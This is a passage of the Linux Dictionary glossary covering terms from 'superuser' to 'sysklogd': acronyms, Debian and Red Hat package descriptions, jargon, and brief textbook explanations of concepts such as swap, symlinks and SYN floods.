n. [Unix] Syn. root, avatar. This usage has spread to non−Unix environments; the superuser is any account with all wheel bits on. A more specific term than wheel. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superuser

The root user that has administrative rights to all resources on a computer system. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Superuser

Usually synonymous with root operator. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

support

n. After−sale handholding; something many software vendors promise but few deliver. To hackers, most support people are useless −− because by the time a hacker calls support he or she will usually know the software and the relevant manuals better than the support people (sadly, this is not a joke or exaggeration). A hacker's idea of `support' is a tjte−`−tjte with the software's designer. From Jargon

Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SURANET

Southeastern Universities Research Association NETwork (network, USA), "SURAnet" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SURF

System Utilization Reporting Facility From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

surf

v. [from the `surf' idiom for rapidly flipping TV channels] To traverse the Internet in search of interesting stuff, used esp. if one is doing so with a World Wide Web browser. It is also common to speak of `surfing in' to a particular resource. Hackers adopted this term early, but many have stopped using it since it went completely mainstream around 1995. The passive, couch−potato connotations that go with TV channel surfing were never pleasant, and hearing non−hackers wax enthusiastic about "surfing the net" tends to make hackers feel a bit as though their home is being overrun by ignorami. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Surfing

The term used by newbies to descripbe exploring the Internet, usually through a World−Wide−Web browser, a metaphor from real surfing. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

surfraw

a fast unix command line interface to WWW Surfraw − Shell Users' Revolutionary Front Rage Against the World Wide Web Surfraw provides a fast unix command line interface to a variety of popular WWW search engines and other artifacts of power. It reclaims google, altavista, dejanews, freshmeat, research index, slashdot and many others from the false−prophet, pox−infested heathen lands of html−forms, placing these wonders where they belong, deep in unix heartland, as god loving extensions to the shell. Surfraw abstracts the browser away from input. Doing so lets it get on with what it's good at. Browsing. Interpretation of linguistic forms is handed back to the shell, which is what it, and human beings are good at. Combined with incremental text browsers, such as links, w3m (or even lynx), and screen(1), or netscape−remote a Surfraw liberateur is capable of research speeds that leave GUI tainted idolaters agape with fear and wonder. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

survex

Cave surveying and mapping software A software suite to process, view, and print cave survey data. Survex is cross−platform (Linux/Unix, MS Windows, DOS, RISC OS). It includes English, French, German, Portuguese, Catalan, and Spanish internationalisations. It can deal with extremely large and complex datasets and can read survey data from many sources. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

survex−aven

Sophisticated cave survey viewer for Survex Advanced cave viewer for Survex, written using the wxWindows library. Aven supersedes the xcaverot viewer in the main survex package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUS

Single Unix Specification (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUSE

Software Und SystemEntwicklung [distribution] (Linux), "S.u.S.E." From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SuSE Linux

German firm SuSE Linux AG, is the European UnitedLinux partner. SuSE provides a variety of versions of its very popular distribution. SuSE Linux 8.2 became generally available April 14, 2003. For business customers SuSE offers Enterprise Linux 8 and SuSE Linux Desktop. From LWN

Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUSP

System Use Sharing Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

suspend−scripts

Suspend−Script is launched by apm or acpid on resume and suspend, it start or stop your network/sound etc... to make sure that everything work after hybernation of your computer. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUT

System Under Test From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUTP

Screened Unshielded Twisted Pair [cable] (UTP, TP), "S/UTP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUTT

Single User Test Tools From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SV

StandortVerteiler (cable, EN 50 173) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVA

Shared Virtual Area From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVABI

System V Application Binary Interface (Unix, AT&T, SCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVC

SuperVisor Call (IBM, VM, VM/ESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVC

Switched Virtual Circuit / Channel / Connection (ATM, PVC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVC

Switched Vitual Call / Circuit (IBM, X.25) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVCD

Super Video Compact Disk (CD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVCI

Switched Virtual Circuit Identifier (SVC, ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVD

Schweizerische Vereinigung fuer Datenverarbeitung (org., Switzerland) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVD

Simultaneous Voice/Data From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVD

Supplementary Volume Descriptor (CD, IS 9660) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVE

Simple Virtual Environment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVFS

System V File System (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVG
: Scalable Vector Graphics [format] (W3C) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVGA
: Super Video Graphics Array (VGA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

svgalib−bin
: Console SVGA display utilities svgalib provides graphics capabilities to programs running on the system console, without going through the X Window System. It uses direct access to the video hardware to provide low−level access to the standard VGA and SVGA graphics modes. Only works with some video hardware; use with caution. This package contains the Svgalib utility programs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

svgalib1
: SVGA display utilities [libc5 compat] svgalib provides graphics capabilities to programs running on the system console, without going through the X Window System. It uses direct access to the video hardware to provide low−level access to the standard VGA and SVGA graphics modes. Only works with some video hardware; use with caution. This package contains the libc5 compatibility shared libraries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

svgalibg1
: Console SVGA display utilities svgalib provides graphics capabilities to programs running on the system console, without going through the X Window System. It uses direct access to the video hardware to provide low−level access to the standard VGA and SVGA graphics modes. Only works with some video hardware; use with caution. This package contains the (libc6) shared libraries and config files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

svgatextmode
: Run higher resolution text modes. This program is designed to greatly improve the normal (EGA−based) textmodes on your Linux machine. It uses an Xconfig−like configuration file to set up better looking textmodes. (=higher resolution, larger font size, higher display refresh...) This is already a big boon on normal 14" displays, and it is an immense difference on larger and better (15" and up) screens. It stems from the idea that it is a real waste of hardware to use EGA textmodes on an SVGA−card, which was designed to do much better than that. This package is mainly of use to people with older hardware that is not adequately supported by the Linux framebuffer drivers. If you abhor 80x25 text modes as much as I do but have a modern cpu and video hardware, then building a kernel with framebuffer support is probably a better option. Some newer video cards are not supported by this package at all (but are supported by the kernel fb drivers) WARNING: This program will not work on non−VGA based systems. Installing it will not do any harm, but activating the program can. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVID
: System V Interface Definition (Unix, AT&T, SCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVIP
: Secure Voice Improvement Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVK
: Self Voicing Kit (IBM, Java) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVMT
: System Virtual Memory Table (BS2000) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

svncviewer

Virtual network computing client software for SVGA. VNC stands for Virtual Network Computing. It is, in essence, a remote display system which allows you to view a computing `Desktop' environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. It is implemented in a client/server model. This package provides a client for SVGA, with this you can connect to a vncserver somewhere in the network and display its content on a graphic capable console. There are vncserver available for X and for Win95/NT, although the Win95/NT server may not work with svgalib viewer due to missing palette handling. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVP

SerVice Provider (ETSI, ETSI 201 671), "SvP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVPC

Single Variable Per Constraint From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVPMI

Super VGA Protected Mode Interface (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVR3

System V Release 3 (Unix, OS, AT&T) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVR4

System V Release 4 (Unix, OS, AT&T) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SVS

Single Virtual Space (IBM, OS, OS/SVS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWAN

Secure WAN ??? (RSA), "S/WAN" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWAN

Sun Wide Area Network (Sun, WAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swap

A storage disk partition used to support virtual memory. Data is written to a swap partition when there is not enough main memory to store the data that a system is processing. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swap

An important aspect of all operating systems is a feature called "virtual memory". This allows the OS to take unused pieces of memory and write them to disk, then free up the block of memory just written so that another active application can use it. Whenever somebody needs that block again, the operating system will automatically restore it from the disk. Of course, it will then have to free up another block to do so by writing that block to the disk. This technique is generally called "swapping" or "paging". The word "swap" reflects the fact that inactive blocks of memory are being switched with active blocks from the disk. The word "paging" reflects the fact that a common name for a block of memory is "page". The name of the file on the disk that an OS uses for swapping is called the "swapfile" or "pagefile". Key point: A lot of security depends upon the fact that memory is secure: the OS protects applications from reading other application's memory, and that when the computer is turned off, the memory is erased. Therefore, applications can safely store passwords in clear−text in memory. Swapping defeats this, because the memory pages that store the passwords may have been swapped to the disk. Someone with physical access to the machine can turn it off, steal the disk, and run the pagefile through analysis programs in order possibly retrieve passwords. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWAP

Shared Wireless Application Protocol (HomeRF Association, WAP, WLAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWAP

Simple Workflow Access Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swap

to move information from a fast−access memory to a slow−access memory (`swap out'), or vice versa (`swap in'). Often refers specifically to the use of disks as `virtual memory'. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Swap

To temporarily move data (programs and/or data files) from random access memory to disk storage (swap out), or back (swap in), to allow more programs and data to be processed than there is physical memory to hold it. Also called Virtual Memory. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swap

vt. 1. [techspeak] To move information from a fast−access memory to a slow−access memory (`swap out'), or vice versa (`swap in'). Often refers specifically to the use of disks as `virtual memory'. As pieces of data or program are needed, they are swapped into core for processing; when they are no longer needed they may be swapped out again. 2. The jargon use of these terms analogizes people's short−term memories with core. Cramming for an exam might be spoken of as swapping in. If you temporarily forget someone's name, but then remember it, your excuse is that it was swapped out. To `keep something swapped in' means to keep it fresh in your memory: "I reread the TECO manual every few months to keep it swapped in." If someone interrupts you just as you got a good idea, you might say "Wait a moment while I swap this out", implying that a piece of paper is your extra−somatic memory and that if you don't swap the idea out by writing it down it will get overwritten and lost as you talk. Compare page in, page out. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swap space

n. Storage space, especially temporary storage space used during a move or reconfiguration. "I'm just using that corner of the machine room for swap space." From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Swap Space

Where swapped data is temporarily stored on disk. Linux uses a dedicated disk partition for swap space, rather than a specific swap file. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapd

Swap demon for dynamic swap file creation Swapd is a dynamic swapping manager for Linux. It provides the system with as much swap space (virtual memory) as is required at a particular time by dynamically creating swap files. This is more convenient than using fixed swap files and/or partitions because they (a) are unused most of the time and are just taking up disk space; and (b) provide a limited amount of virtual memory. On systems that have constant need for virtual memory it would still be wise to use a swap partition in parallel with dynamic swapping, since swap partitions provide much faster access than swap files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapoff

enable/disable devices and files for paging and swapping From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapoff

start/stop swapping to file/device From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapon
enable/disable devices and files for paging and swapping From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapon
start/stop swapping to file/device From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapped in
n. See swap. See also page in. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swapped out
n. See swap. See also page out. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swat
Samba Web Administration Tool The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or NetBIOS protocol. This package contains the components of the Samba suite that are needed for Web administration of the Samba server. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swatch
log file viewer with regexp matching, highlighting, & hooks Swatch is designed to monitor system activity. It reads a configuration file which contains pattern(s) to look for and action(s) to perform when each pattern is found. A typical action is echoing the matched line in a variety of colours and formats including reverse video, bold, underline, and normal, which swatch knows how to do internally. Other actions include sending mail or executing an arbitrary program on the line. Swatch is written in Perl and uses Perl regular expressions for line matching. This Debian version of swatch includes two directives not yet found in the "official" swatch −− "PERLCODE" and "threshold". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swath
Thai word segmentation program This is a free word segmentation program from NECTEC. You need this program for thailatex and for creating proper Thai html pages. It is a better choice than cttex. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWEDAC
[Staatliches Amt fuer Technische Akkreditierung] (Sweden, org.) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sweep
An editor for sound samples An editor for sound samples. It operates on various PCM style files such as .wav, .aiff and .au. Sweep contains filters and effects you can apply to sound. One of its best features is multi−level undo and redo. It also allows discontinuous selections, multiple views of a sound sample and piano−style playback. Further information can be had at http://sweep.sourceforge.net/. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swh−plugins
Steve Harris's LADSPA plugins Steve Harris has written a large number of plugins for LADSPA compatible hosts (e.g. GLAME, Sweep and ecasound). The plugins available are: amp, fast overdrive, overdrive (with colourisation), comb filter, waveshaper, ringmod, divider, diode, decliper, pitch scaler, 16 band equaliser, sinus wavewrapper, hermes filter, chorus, flanger, decimater, oscilator, gverb, phasers, harmonic generators and surround encoders. Further information about his plugins is available at <URL: http://plugin.org.uk/> From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWI

SoftWare Interrupts (RISC, OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swi−prolog

Prolog interpreter. ISO/Edinburgh−style Prolog compiler. Compliant with Part 1 of the ISO standard for Prolog. Covers all traditional Edinburgh Prolog features and shares many features with Quintus and SICStus Prolog, including a compatible module system. Very fast compiler, garbage collection (also on atoms), fast and powerful C/C++ interface, autoloading, GNU−readline interface. SWI−Prolog has been designed and implemented such that it can easily be modified for experiments with logic programming and the relation between logic programming and other programming paradigms (such as the object oriented XPCE environment). SWI−Prolog has a rich set of built−in predicates and reasonable performance, which makes it possible to develop substantial applications in it. The current version offers a module system, garbage collection and an interface to the C language. Home page: http://www.swi−prolog.org From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWICO

Schweizerischer Wirtschaftsverband der Informations−, Communikations− und Organisationstechnik (org., Switzerland) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWIFT

Society for Worldwide Interbank Financial Telecommunication (org., banking) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swig

Simplified Wrapper and Interface Generator (SWIG) is a software development tool for connecting C, C++ and Objective C programs with a variety of high−level programming languages. SWIG is primarily used with Perl, Python and Tcl/TK, but it has also been extended to Java,Eiffel and Guile. SWIG is normally used to create high−level interpreted programming environments, systems integration, and as a tool for building user interfaces. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWIM

Super Woz' Integrated Machine From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swipl

SWI−Prolog 5.0.0 From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swiprolog

deprecated name of SWI−Prolog From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SWISH

Simple Web Indexing System for Humans (WAIS, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swish++

Simple Web Indexing System for Humans: C++ version SWISH++ is a Unix−based file indexing and searching engine (typically used to index and search files on web sites). It was based on SWISH−E although SWISH++ is a complete rewrite. SWISH++ was developed to circumvent author's difficulties with using the SWISH−E package. SWISH++ features: * Lightning−fast indexing * Indexes META elements, ALT, and other attributes * Selectively not index text within HTML or XHTML elements * Intelligently index mail and news files * Index Unix manual page files * Apply filters to files on−the−fly prior to indexing * Index non−text files such as Microsoft Office documents * Modular indexing architecture * Index new files incrementally * Index remote web sites * Handles large collections of files * Lightning−fast searching * Optional word stemming (suffix stripping) * Ability to run as a search server * Easy−to−parse results format * Generously commented source code

From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swish−e

Simple Web Indexing System for Humans SWISH−Enhanced is a fast, powerful, flexible, and easy to use system for indexing collections of Web pages or other text files. Key features include the ability to limit searches to certain HTML tags (META, TITLE, comments, etc.). The SWISH−E software is free, and we include a package of Perl programs that enable anyone who is authorized to create and maintain their own indexes (AutoSwish). SWISH−E is an enhanced version of SWISH, which was originally written by Kevin Hughes and modified and released with his permission. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

swisswatch

the mother of all X Toolkit clocks Swisswatch is a reimplementation of der Mouse's mclock program using lightweight X Toolkit objects ("gadgets"). It relies heavily on resources for configuration, and can assume a wide range of looks. The application defaults files distributed with swisswatch currently support an oclock emulation, a Swiss railway clock emulation, and a fancy default appearance. You are encouraged to play with the resources and create your personalized version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

switch

A device that facilitates transmissions between nodes on a private network and regulates internal network traffic. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

switchdesk

The Desktop Switcher is a tool which enables users to easily switch between various desktop environments that they have installed. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

switchdesk−gnome

The switchdesk−gnome package provides a GNOME look and feel for the Desktop Switcher program provided in the switchdesk package. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

switchdesk−kde

The switchdesk−kde package provides the Desktop Switcher with a KDE look and feel. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sword−comm−mhcc

Matthew Henry Concise Commentary for SWORD An abridged version of Matthew Henry's commentary on the whole bible. Matthew Henry (1662−1714) was a Presbyterian minister in Chester. His work was long celebrated as the best of English commentaries for devotional purposes. Such as Whitefield and Spurgeon have used the work and commended it heartily. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sword−text−web

World English Bible (WEB) for SWORD The World English Bible is a 1997 revision of the American Standard Version of the Holy Bible, first published in 1901. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SXGA

Super eXtended Graphics Adapter / Array From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sxid

suid, sgid file and directory checking This program is runs as a cronjob. Basically it tracks any changes in your s[ug]id files and folders. If there are any new ones, ones that aren't set any more, or they have changed bits or other modes then it reports the changes. You can also run this manually for spot checking. It tracks s[ug]id files by md5 checksums. This helps detect if your files have been tampered with, would not show under normal name and permissions checking. Directories are tracked by inodes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sxpm

Show an XPM (X PixMap) file and/or convert XPM 1 or 2 files to XPM 3. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sylpheed

Light weight e−mail client with GTK+ Light weight e−mail client with GTK+ running on X Window System. And aiming for * Quick response * Graceful, and sophisticated interface * Easy configuration, intuitive operation * Abundant features The appearance and interface are similar to some popular e−mail clients for Windows, such as Outlook Express or so. The interface is also designed to emulate the mailers on Emacsen, and almost all commands are accessible with the keyboard. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sylpheed−claws

Bleeding edge version of the Sylpheed mail client Sylpheed Claws is a bleeding edge version of the Sylpheed mail client which has the most advanced features designed to be included in Sylpheed. It features the same features Sylpheed does: * Very good performance * Easy configuration and operation * Multiple accounts * High flexibility And more: * Better mail/news composing handling; * More advanced ways of handling headers and attachments; * More powerful handling of MIME types. * Per−folder default reply−to address and threading mode configuration; * Pixmap theming If you care for stability rather than more flexibility, use 'sylpheed' instead. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symbol−table

The part of an object table that gives the value of each symbol (usually as a section name and an offset) is called the symbol table. Executables may also have a symbol table, with this one giving the final values of the symbols. Debuggers use the symbol table to present addresses to the user in a symbolic, rather than a numeric form. It is possible to strip the symbol table from executables resulting in a smaller sized executable but this prevents meaningful debugging. From 252 http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Symbolic link

An alias or shortcut to a program or file. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symbolic−link or soft−link

A special filetype, which is a small pointer, file allowing multiple names for the same file. Unlilke hard links, symbolic links can be made for directories and can be made across filesystems. Commands that access the file being pointed to are said to follow the symbolic link. Commands that access the link itself do not follow the symbolic link. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symlink (symbolic link)

On UNIX, a symbolic link is where a file in one directory acts as a pointer to a file in another directory. For example, you could create a link so that all accesses to the file /tmp/foo really act upon the file /etc/passwd. This feature can often be exploited. While a non−root user does not have permission to write to administrative files like /etc/passwd, they can certainly create links to them in the /tmp directory or their local directory. SUID can then be exploited whereby they believe they are acting upon a user file, which which are instead acting upon the original administrative file. This is the leading way that local users can escalate their privileges on a system. Example: finger A user could link their .plan file to any other file on the system. A finger daemon running with root privileges would then follow the link to that file and read it upon execution of a finger lookup. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symlinks

scan/change symbolic links Symlinks scans directories for symbolic links and lists them on stdout. Each link is prefixed with a classification of relative, absolute, dangling, messy, lengthy or other_fs. Symlinks can also convert absolute links (within the same filesystem) to relative links and can delete messy and dangling links. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symlinks

The symlinks utility performs maintenance on symbolic links. Symlinks checks for symlink problems, including dangling symlinks which point to nonexistent files. Symlinks can also automatically convert absolute symlinks to relative symlinks. Install the symlinks package if you need a program for maintaining symlinks on your system. From Mandrake 9.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYMM

SYnchronized MultiMedia working group (WAI) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symmetric

In encryption, the word symmetric means those cases where the same key both encrypts and decrypts. This has been historically the "normal" encryption, but new public−key cryptography is changing things. Analogy: In your house, the same keys are used to lock and unlock your door. Examples: Some symmetric encryption ciphers are: DES The forerunner to most of today's popular symmetric ciphers. RC2, RC4, and RC5 Popular ciphers by RSA used in today's browsers for secure connections to websites. IDEA A cipher made popular by the fact that it was used in PGP. Blowfish A well−regarded cipher with free source code, no license required, unpatented, and royalty−free. As such, it is an extremely popular symmetric encryption algorithm. http://www.counterpane.com/blowfish.html TwoFish A new cipher with many of the same restrictions as Blowfish (i.e. none). It is even more efficient, and destined to become very popular. http://www.counterpane.com/twofish.html From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

symmetric multi−processing (SMP)

Method of computing which uses two or more processors managed by one operating system, often sharing the same memory and having equal access to input/output devices. Application programs may run on any or all processors in a system. From Redhat−9−Glossary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sympa

Modern mailing list manager Sympa is a scalable and highly customizable modern mailing list manager which can cope with big lists (200,000 subscribers). It can can handle a lots of useful features : − Moderation − Digest mode − Authentication (for subscription process) − Archive management − Multi−language support (us, fr, de, as, it, fi and Chinese locales) − Expiration process − Virtual domains (virtual robots) − Accesses to LDAP directories − Using a RDBMS for storing subscriber information (it supports both MySQL and PostgreSQL). − S/MIME encryption and HTTPS authentication Sympa provides a scripting language for extending the behaviour of commands, and a complete (user and admin) Web interface called WWSympa. SYMPA means 'Systhme de Multi−Postage Automatique' (French) or 'Automatic Mailing System' (English). It is written in Perl and uses some modules (mailtools, md5, msgcat, db). WWSympa is provided in a separate package named `wwsympa'. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYN

The first packet sent across a TCP connection is known as a "SYN" or "synchronize" packet. For example, when you contact http://www.robertgraham.com, the first packet your systems out will be a SYN packet to the HTTP port 80 on www.robertgraham.com. Your browser is telling the web server that it wants to connect. Key point: Most packet−filtering firewalls work by blocking the SYN packets. This stops connections from being initiated. You can still scan behind these firewalls using ACK or FIN packets, but you will not be able to connect to any of those machines. See also: SYN flood, three−way−handshake, TCP From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYN flood

A SYN flood is a type of DoS attack. A SYN packet notifies a server of a new connection. The server then allocates some memory in order to handle the incoming connection, sends back an acknowledgement, then waits for the client to complete the connection and start sending data. By spoofing large numbers of SYN requests, an attacker can fill up memory on the server, which will sit their waiting for more data that never will arrive. Once memory has filled up, the server will be unable to accept connections from legitimate clients. This effectively disables the server. Key point: SYN floods exploit a flaw in the core of the TCP/IP technology itself. There is no complete defense against this attack. There are, however, partial defenses. Servers can be configured to reserve more memory and decrease the amount of time they wait for connections to complete. Likewise, routers and firewalls can filter out some of the spoofed SYN packets. Finally, there are techniques (such as "SYN cookies") that can play tricks with the protocol in order to help distinguish good SYNs from bad ones. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

synaesthesia

A program for representing sounds visually This is a program for representing sounds visually (from a CD, line input, or through a pipe). It goes beyond the usual oscilloscope style program by combining a FFT and stereo positioning information to give a two dimensional display. X and svgalib versions are included in this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

synaptic

GUI−frontend for APT Synaptic (previously known as raptor) is a graphical package management program for Debian. It provides the same features as the apt−get command line utility with a GUI front−end based on WINGs and can handle RPMs as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sync

/sink/ n., vi. (var. `synch') 1. To synchronize, to bring into synchronization. 2. [techspeak] To force all pending I/O to the disk; see flush, sense 2. 3. More generally, to force a number of competing processes or agents to a state that would be `safe' if the system were to crash; thus, to checkpoint (in the database−theory sense). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sync

commit buffer cache to disk. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sync

flush filesystem buffers From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sync

To force all pending I/O to the disk. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sync

To force all pending input/output to the disk drive. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syncbbdb

BBDB to PalmOS Pilot Manger conduit Transfer address records between a PalmOS device like a Palm Pilot or a Visor, using a perl BBDB to PalmOS Pilot Manager conduit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYSAD

SYStem ADministrator, "SysAd" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysadmin

/sis'ad−min/ n. Common contraction of `system admin'; see admin. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysadmin−guide

The Linux System Administrators' Guide The Linux System Administrators' Guide from the Linux Documentation Project. Aimed at novice system administrators. This package presents the guide in HTML format, you can produce other formats by getting the source package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysctl

configure kernel parameters at runtime From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysctl

read/write system parameters From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYSEX

SYStem EXecutive (OS, IBM, S/360) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysklogd

System Logging Daemon This package implements the system log daemon, which is an enhanced version of the standard Berkeley utility program. It is responsible for providing logging of messages received from programs and facilities on the local host as well as from remote hosts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysklogd

